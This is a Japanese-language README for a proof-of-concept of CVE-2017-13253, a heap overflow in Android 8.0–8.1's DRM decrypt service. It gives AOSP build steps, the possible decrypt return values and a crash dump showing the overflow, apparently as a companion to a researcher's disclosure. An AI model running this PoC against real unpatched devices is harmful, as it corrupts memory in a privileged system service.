
CVE-2017-13253 の PoC コード
CVE-2017-13253 の PoC コード。
完全な解説はこちらからご覧いただけます。ブログ記事とは数値が少し異なります。理由は、ヒープサイズ0x2000の場合にクラッシュする確率が高いと判明したためです(もちろん、十分な回数実行すればいずれクラッシュします)。
質問/問題/コメントについては、Twitter (@tamir_zb) でお気軽にご連絡ください。
これをビルドするには:
AOSP/external に配置します。 cd AOSP
source build/envsetup.sh
make icrypto_overflow
これをパッチ未適用の Android (2018年3月より前の 8.0~8.1) に対して実行すると、オーバーフローが発生します。上書きされたデータが書き込み可能かどうかに応じて、クラッシュする可能性があります。
コードは decrypt メソッドの出力を表示します。その値は状況によって異なります:
decrypt は BAD_VALUE (-22) を返します。decrypt はコピーしたデータ量を返します。decrypt は UNKNOWN_ERROR (-32) を返します。decrypt は 0 を返します。以下はこの PoC を実行した結果得られたクラッシュダンプの一部です:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
ご覧の通り、フォールトアドレスは共有メモリの直後のメモリ領域です。このメモリは書き込み保護されているため、オーバーフローによりセグメンテーションフォールトが発生しました。